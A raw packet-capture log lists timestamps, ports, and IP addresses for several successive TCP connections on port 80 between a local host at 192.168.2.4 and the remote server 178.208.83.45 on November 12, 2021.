Nov 12, 2021 22:23:19.065612078 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.065634012 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.087939024 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.087964058 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.087973118 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.087985992 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.087996960 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088010073 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088018894 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088032961 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088042021 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088043928 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088098049 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088099003 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088112116 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088131905 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088155031 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088171005 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088181973 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088186026 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088200092 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088212967 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088227987 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088239908 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088260889 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088263035 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088277102 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088283062 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088289976 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.088305950 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088330030 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.088346004 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110555887 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110579967 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110593081 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110606909 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110620022 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110641003 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110657930 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110709906 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110733032 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110743999 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110745907 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110755920 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110773087 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110785961 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110810041 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110821009 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110829115 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110841036 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110856056 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.110874891 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110888958 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110902071 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110914946 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110927105 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110939980 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110954046 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110966921 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110982895 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.110995054 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111007929 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111016035 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111028910 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111042976 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111054897 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111071110 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111121893 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111135006 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111148119 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111161947 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111174107 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111186981 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111196041 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.111232996 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133217096 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133256912 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133316040 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133398056 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133416891 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133498907 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.133516073 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134007931 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134036064 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134053946 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134068012 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134083033 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134099007 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134113073 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134156942 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134177923 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134195089 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134213924 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134232998 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.134253025 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.137845039 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.137903929 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.534943104 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.536058903 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.557585955 CET	80	49801	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.557657003 CET	49801	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.558401108 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.558505058 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.559016943 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.559117079 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.559290886 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.559438944 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581476927 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581523895 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581633091 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581662893 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581688881 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581715107 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581741095 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581765890 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581780910 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581792116 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581823111 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581830978 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581845045 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581852913 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581854105 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581862926 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581883907 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.581887960 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581924915 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.581938982 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604310036 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604331017 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604337931 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604350090 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604358912 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604371071 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604381084 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604393005 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604401112 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604455948 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604469061 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604511976 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604535103 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604574919 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604602098 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604615927 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604636908 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604692936 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604702950 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604706049 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604737997 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604784012 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604798079 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604816914 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.604867935 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.604885101 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.626879930 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.626913071 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.626935959 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.626959085 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.626981020 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627002954 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627024889 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627047062 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627059937 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.627065897 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627087116 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627105951 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.627108097 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627121925 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:19.627130032 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627150059 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627168894 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627188921 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627209902 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627229929 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627249002 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627269983 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627290964 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627311945 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627340078 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627360106 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627382040 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627402067 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627424002 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627443075 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627513885 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627531052 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627551079 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627573013 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627589941 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627610922 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627631903 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627652884 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627675056 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627715111 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.627737045 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650198936 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650223017 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650232077 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650243998 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650253057 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650264025 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650275946 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650288105 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650302887 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650320053 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650335073 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650351048 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.650366068 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.653569937 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:19.653733969 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.079206944 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.080430031 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.101768970 CET	80	49802	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.101841927 CET	49802	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.103251934 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.103384972 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.104474068 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.104620934 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.104842901 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.105032921 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.126820087 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.126880884 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127162933 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127180099 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127192974 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127204895 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127217054 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127229929 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127253056 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127265930 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127291918 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.127304077 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.130147934 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.130192995 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152569056 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152590036 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152599096 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152610064 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152625084 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152637959 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152648926 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152657986 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152671099 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152677059 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152682066 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152693987 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152705908 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152720928 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152734995 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152735949 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152746916 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152771950 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152801991 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152802944 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152816057 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152828932 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152841091 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.152870893 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152896881 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.152920008 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.175105095 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175131083 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175138950 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175148010 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175159931 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175205946 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175218105 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175282001 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.175318003 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.175321102 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175333977 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.175337076 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175345898 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175359011 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175368071 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175378084 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175385952 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175400972 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175409079 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175421000 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175474882 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175487995 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175497055 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175509930 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175518036 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175530910 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175540924 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175550938 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175559998 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175568104 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175581932 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175589085 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175661087 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175673008 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175683022 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175690889 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175698996 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175731897 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175744057 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175754070 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.175765991 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.197899103 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198209047 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198230982 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198251009 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198271990 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198290110 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198309898 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198328972 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198349953 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198369980 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198388100 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198407888 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.198427916 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.200901985 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.201021910 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.776896954 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.778671026 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.800827026 CET	80	49803	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.802318096 CET	49803	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.802552938 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.802649975 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.804045916 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.804225922 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.804445028 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.804574966 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.826455116 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826484919 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826627970 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826746941 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826756001 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826884031 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826893091 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826900959 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826909065 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826916933 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826925039 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.826931000 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.828291893 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850666046 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850692987 CET	80	49804	178.208.83.45	192.168.2.4
